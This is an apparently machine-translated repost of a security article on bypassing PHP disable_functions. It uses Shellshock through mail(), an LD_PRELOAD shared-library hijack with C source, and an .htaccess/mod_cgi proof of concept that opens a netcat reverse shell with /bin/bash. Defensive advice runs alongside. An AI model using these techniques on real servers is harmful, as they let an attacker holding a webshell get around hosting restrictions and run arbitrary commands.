Several ways to execute system commands through bypass disable functions in PHP

Original: http://www.freebuf.com/articles/web/169156.html

1. Why bypass disable functions

For security reasons, many operation and maintenance personnel will disable some "dangerous" functions of PHP, such as eval, exec, system, etc., and write them in the php.ini configuration file, which is what we call disable functions, especially virtual hosts. Operators, in order to completely isolate customers on the same server and avoid large-scale security problems, are usually strict in the settings of disable functions.

Offense and defense are opposites and complement each other. Since there is a ban on functions, some people will try to break through this layer of restrictions. We can only take precautions on the basis of mastering the breakthrough methods and principles. such attacks.

Executing system commands is usually an inevitable operation for attackers to take further actions after obtaining the website webshell. If the system commands cannot be executed, it will be difficult to continue further attacks, so there are website managers to disable similar exec, system such functions. However, with the continuous advancement of technology, new ideas continue to emerge. Simply disabling these functions can no longer prevent the attacker from achieving the purpose of executing system commands in some cases. So what method does the attacker use to break through the disable functions? Woolen cloth? How can we guard against such an attack?

2. Arbitrary command execution caused by Bash vulnerability

GNU Bash Environment Variable Remote Command Execution Vulnerability (CVE-2014-6271) is a remote code execution vulnerability in GNU Bash. In the introduction of this CVE, you can see this description: "There is a security vulnerability in GNU Bash 4.3 and earlier versions. , the vulnerability stems from the program's improper handling of function definitions within environment variable values. A remote attacker can exploit this vulnerability to execute arbitrary code with the help of specially crafted environment variables. The following products and modules may be exploited: ForceCommand function in OpenSSH sshd, Apache mod_cgi and mod_cgid modules in HTTP Server, DHCP Client, etc". In fact, PHP can also use this vulnerability to do many things, and it is even possible to cause remote command execution directly at 80. For details of this vulnerability, please refer to the relevant information of CVE-2014-6271, which will not be repeated here.

Let's take a look at where PHP can use this vulnerability in bash? In fact, it can be used in more than one place. Here we take the mail function as an example. The same is true for other places, and you can analyze it yourself.

PHP's mail function provides 3 required parameters and 2 optional parameters. Here we mainly look at the last parameter. The description of the last parameter in the official PHP manual:

“Theadditional_parameters parameter can be used to pass an additional parameter tothe program configured to use when sending mail using the sendmail_pathconfiguration setting. For example, this can be used to set the envelope senderaddress when using sendmail with the -f sendmail option.

 

Theuser that the webserver runs as should be added as a trusted user to thesendmail configuration to prevent a ‘X-Warning’ header from being added to themessage when the envelope sender (-f) is set using this method. For sendmailusers, this file is /etc/mail/trusted-users. “

Simply put, this parameter can be configured by adding additional commands as the configuration when sending emails. For example, the -f parameter can be used to set the sender of the email. The official documentation is also demonstrated in Example #3. For details, please refer to the official documentation: http ://php.net/manual/en/function.mail.php .

In the source code mail.c of the mail function, we can find the following code snippet:

       if (extra_cmd != NULL) {
              spprintf(&sendmail_cmd, 0,"%s %s", sendmail_path, extra_cmd);
       } else {
              sendmail_cmd = sendmail_path;
       }

If the fifth parameter (extra_cmd) is passed, use spprintf to splice sendmail_path and extra_cmd into sendmail_cmd (where sendmail_path is the sendmail_path configuration item in php.ini), and then throw sendmail_cmd to popen for execution:

 #ifdef PHP_WIN32
       sendmail = popen_ex(sendmail_cmd,"wb", NULL, NULL TSRMLS_CC); #else        /* Since popen() doesn't indicate if theinternal fork() doesn't work         *(e.g. the shell can't be executed) we explicitly set it to 0 to be         *sure we don't catch any older errno value. */        errno = 0;        sendmail = popen(sendmail_cmd,"w"); #endif

If the default sh of the system is bash, popen will fork the bash process, and the CVE-2014-6271 vulnerability we just mentioned directly allows us to use the mail() function to execute arbitrary commands, bypassing the restriction of disable_functions. But there is actually a problem here, that is, extra_cmd does a security check before spprintf. My current PHP version is the latest 7.2.4, and the code location is on lines 371-375 of mail.c:

       if (force_extra_parameters) {
              extra_cmd =php_escape_shell_cmd(force_extra_parameters);
       } else if (extra_cmd) {
              extra_cmd =php_escape_shell_cmd(ZSTR_VAL(extra_cmd));
       }

The php_escape_shell_cmd function will escape special characters (including `|*?~<>^()[]{}$\, \x0A and \xFF. ', etc.), so is there no way? ? No, we can set an environment variable containing a custom function through the putenv function, and then trigger it through the mail function. There is already a POC on the Internet.

The php function that also calls the popen-derived process and imap_mail, or there may be other functions that we have not found, so if you want to prevent this kind of attack, the best way is to start from the root and fix the bash CVE-2014-6271 Vulnerability.

3. LD_PRELOAD: No bash vulnerability required

As mentioned above, the mail function can use the bash shell breaking vulnerability to break through the limitation of disable functions to execute system commands. However, for such a vulnerability, the general operation and maintenance personnel with better security awareness will be patched, so is it after the patch is applied? It must be safe? Obviously the answer is no, LD_PRELOAD is the next interesting environment variable for Linux systems:

" It allows you to define a dynamic link library that is loaded preferentially before the program runs. This function is mainly used to selectively load the same functions in different dynamic link libraries. Through this environment variable, we can be in the main program and its dynamic link library. Load other dynamic link libraries in the middle of the link library, or even cover the normal function library. On the one hand, we can use this function to use our own or better functions (without the source code of others), and on the other hand, we also Programs can be injected into other people’s programs to achieve specific purposes.

It allows you to define a dynamic link library that is loaded first before the program runs. We just need to know this one thing. What does this mean? This shows that we can almost hijack most of the functions of PHP, and also take the mail function above as an example. As mentioned above, the mail function of PHP actually calls the sendmail command of the system, so let's see that sendmail is called. Which library functions:

1.png

Use the readelf -Ws /usr/sbin/sendmail command to view, we found that the sendmail function dynamically calls many standard library functions during the running process, and we randomly select a library function geteuid for testing.

First we write our own dynamic linker, hack.c:

#include<stdlib.h>
#include <stdio.h>        #include<string.h>   void payload() {         system("touch/var/www/html/test"); }     int  geteuid() { if(getenv("LD_PRELOAD") == NULL) { return 0; } unsetenv("LD_PRELOAD"); payload(); }

When geteuid in this shared library is called, try to load the payload() function, execute the command, and create a file named test in the /var/www/html directory. In practical application here, you should pay attention to the compilation platform and the target as close as possible, and pay attention to the path problem to avoid unnecessary trouble. Here we only use it as a test and do not consider these problems.

[root@localhostadwin]# gcc -c -fPIC hack.c -o hack
[root@localhostadwin]# gcc -shared hack -o hack.so

We put hack.so in the WEB directory, and then write a PHP file for testing:

<?php
putenv("LD_PRELOAD=/var/www/html/hack.so");
mail("adwin@localhost","","","",""); ?>

There are only two files in our /var/www/html/ directory, hack.so and index.php. When we visit the index.php page in the browser, we can see that there is another test file in the directory. , indicating that our system command was executed successfully.

2.png

(PS: The environment of the author's actual test is the environment of VMPlayer7+CentOS7+Apache2.4+PHP7.2.4. I encountered a problem during the test, that is, every time I refresh the access index.php, the VM process of the virtual machine will read frantically. Writing to the hard disk occupies almost all the active time of the disk (mechanical hard disk), which causes the virtual machine to freeze until the mouse cannot even move, and the physical machine is also affected and obviously freezes. This situation will suddenly disappear in about half an hour, and the final test The results were successful. It is not known what caused this phenomenon, further research is required, but is beyond the scope of this article.)

This bypass behavior is simple to implement, and is not limited by PHP and Linux versions so far, but it is also easy to defend by disabling the relevant function (putenv) or restricting the passing of environment variables, but to Pay attention to whether there is an impact on existing business.

In fact, as early as 2008, someone reported this issue to the PHP official, but the reply given by PHP was that you had better disable the putenv function: https://bugs.php.net/bug.php?id=46741, So we have reason to believe that there will be no targeted solution to this problem in subsequent PHP versions.

Fourth, .htaccess: more than redirection

You must be familiar with the .htaccess file. Yes, in the apache web environment, we often use the .htaccess file to determine the URL rewriting rules in a directory, especially in some open source CMS or frameworks. If you use it, such as the famous open source forum discuz!, you can implement static URLs through .htaccess files. Most PHP frameworks, such as ThinkPHP and Laravel, use .htaccess files to implement routing rules in the apache environment. However, if the .htaccess file is modified by the attacker, the attacker can use the mod_cgi module of apache to directly bypass any restrictions in PHP to execute system commands.

For mode_cgi, you can refer to the official description of apache: http://man.chinaunix.net/newsoft/ApacheManual/mod/mod_cgi.html .

"Any file with mime type application/x-httpd-cgi or processed by a cgi-script processor (Apache 1.1 or later) will be treated as a CGI script and run by the server, and its output will be returned to the client. There are two ways to make a file a CGI script, or the file has an extension that has been defined by the AddType directive, or the file is located in the ScriptAlias ​​directory.", which means that apache allows the web server to interact with the executable, which means , you can write WEB applications in C or python. It sounds like we can do anything that a user with apache privileges can do. So how exactly?

First, several conditions need to be met. First, it must be an apache environment. Second, mod_cgi has been enabled (it is enabled by default in my environment), and third, .htaccess files must be allowed, that is, in httpd.conf. , Note that the AllowOverride option is All, not none. Fourth, you must have permission to write the .htaccess file. In fact, these conditions are relatively easy to satisfy. If the above conditions are met, you can "do things".

In the configuration of apache, there is a very important command, Options, the Options command is a relatively common and important command in the Apache configuration file. The Options command can be configured in the Apache server core configuration (server config), virtual host configuration (virtual host configuration). ), specific directory configuration (directory) and used in .htaccess files. The main purpose of the Options directive is to control which server features will be enabled for a particular directory. For the specific function and meaning of the feature options that can be added after the Options directive, you can refer to this article: http://www.365mini.com/page/apache-options-directive.htm , of course, we are using the ExecCGI option. Indicates that CGI scripts are allowed to be executed using the mod_cgi module. In addition to Options, we also need to use another AddHandler instruction. It doesn't matter if you are not familiar with AddHandler. It will be easier to understand if you explain it this way: AddType is definitely familiar to us. For example, when configuring apache's support for PHP, we often Add a line of configuration like AddTypeapplication/x-httpd-php.php, which actually specifies the mapping relationship between file extensions and content types, and AddHandler specifies the relationship between extensions and handlers, that is, You can specify how files with a specific extension should be handled.

With Options and AddHandler, we can arbitrarily specify a specific file extension to handle with a specific program, so the idea is very clear: first write the program to be executed into a file with a specific extension, and then modify the . htaccess file, allowing the mod_cgi module to execute CGI scripts via the Options directive, and then having our specific extension process as cgi-script, so we can even bounce a shell out.

The POC is as follows, with notes:

<?php
$cmd = "nc -c'/bin/bash' 127.0.0.1 4444"; //反弹一个shell出来,这里用本地的4444端口
$shellfile ="#!/bin/bash\n"; //指定shell $shellfile .="echo -ne \"Content-Type: text/html\\n\\n\"\n"; //需要指定这个header,否则会返回500 $shellfile .="$cmd"; functioncheckEnabled($text,$condition,$yes,$no) //this surely can be shorter {     echo "$text: " . ($condition ?$yes : $no) . "<br>\n"; } if(!isset($_GET['checked'])) {     @file_put_contents('.htaccess',"\nSetEnv HTACCESS on", FILE_APPEND);     header('Location: ' . $_SERVER['PHP_SELF']. '?checked=true'); //执行环境的检查 } else {     $modcgi = in_array('mod_cgi',apache_get_modules()); // 检测mod_cgi是否开启     $writable = is_writable('.'); //检测当前目录是否可写     $htaccess = !empty($_SERVER['HTACCESS']);//检测是否启用了.htaccess         checkEnabled("Mod-Cgienabled",$modcgi,"Yes","No");         checkEnabled("Iswritable",$writable,"Yes","No");         checkEnabled("htaccessworking",$htaccess,"Yes","No");     if(!($modcgi && $writable&& $htaccess))     {         echo "Error. All of the above mustbe true for the script to work!"; //必须满足所有条件     }     else     {         checkEnabled("Backing up.htaccess",copy(".htaccess",".htaccess.bak"),"Suceeded!Saved in .htaccess.bak","Failed!"); //备份一下原有.htaccess         checkEnabled("Write .htaccessfile",file_put_contents('.htaccess',"Options +ExecCGI\nAddHandlercgi-script .dizzle"),"Succeeded!","Failed!");//.dizzle,我们的特定扩展名         checkEnabled("Write shellfile",file_put_contents('shell.dizzle',$shellfile),"Succeeded!","Failed!");//写入文件         checkEnabled("Chmod777",chmod("shell.dizzle",0777),"Succeeded!","Failed!");//给权限         echo "Executing the script now.Check your listener <img src = 'shell.dizzle' style ='display:none;'>"; //调用     } } ?>

We open nc locally to monitor port 4444, and then open this page in the browser. If the execution is successful, a shell will be bounced to port 4444:

3.png

When accessing the POC, a shell is successfully bounced to the local port 4444, and you can see the echo after executing the id command.

5. Other ways

In addition to the above methods, in some specific cases, there are many methods that can bypass the disabled function of php.ini to achieve the purpose of executing system commands, but because these methods are subject to many restrictions, there are few real environments that meet the conditions , so for space reasons, the following only briefly introduces a few other bypass methods, and provides links to related articles in detail. If you are interested in learning more, you can refer to the relevant information on the Internet.

ImageMagick

ImageMagick is a widely used image processing program. Many manufacturers including Discuz, Drupal, Wordpress and other common CMS also call the ImageMagick extension or ImageMagick library for image processing, including image scaling, cutting, watermarking, format conversion, etc. . There is a vulnerability in all versions of ImageMagick before 6.9.3-9. When the user passes in a picture containing "malformed content", command injection may be triggered. Incomplete repair. For the specific utilization and defense methods of this vulnerability, please refer to: http://wooyun.jozxing.cc/static/drops/papers-15589.html .

pcntl_exec

pcntl is an extension under linux that supports multi-threaded operation of php. In many cases, the exec function is disabled, but if the operation and maintenance personnel are not very aware of security or do not know PHP well, they are likely to ignore the related functions of the pcntl extension.

COM components

In the Windows environment, when the setting item com.allow_dcom = true in php.ini, system commands can be executed through COM components, and even safe mode can be enabled. For related information, please refer to: https://www.exploit-db.com/exploits /4553/ .

win32std

win32std is an old PHP extension in which the win_shell_execute function can be used to execute Windows system commands: https://www.exploit-db.com/exploits/4218/ .

6. Summary

For intruders, after getting a webshell, if they want to further obtain higher privileges or more data and information, it is almost necessary to execute system commands. When we have some flaws in the PHP application that lead to intrusion, how to minimize the loss becomes the primary problem. From the methods listed in this article, it is not difficult to see that as long as these principles are mastered, the prevention work is very simple and effective. As long as you often pay attention to security trends, you can completely defend against the above bypass measures.

Guess you like

Origin http://43.154.161.224:23101/article/api/json?id=325253038&siteId=291194637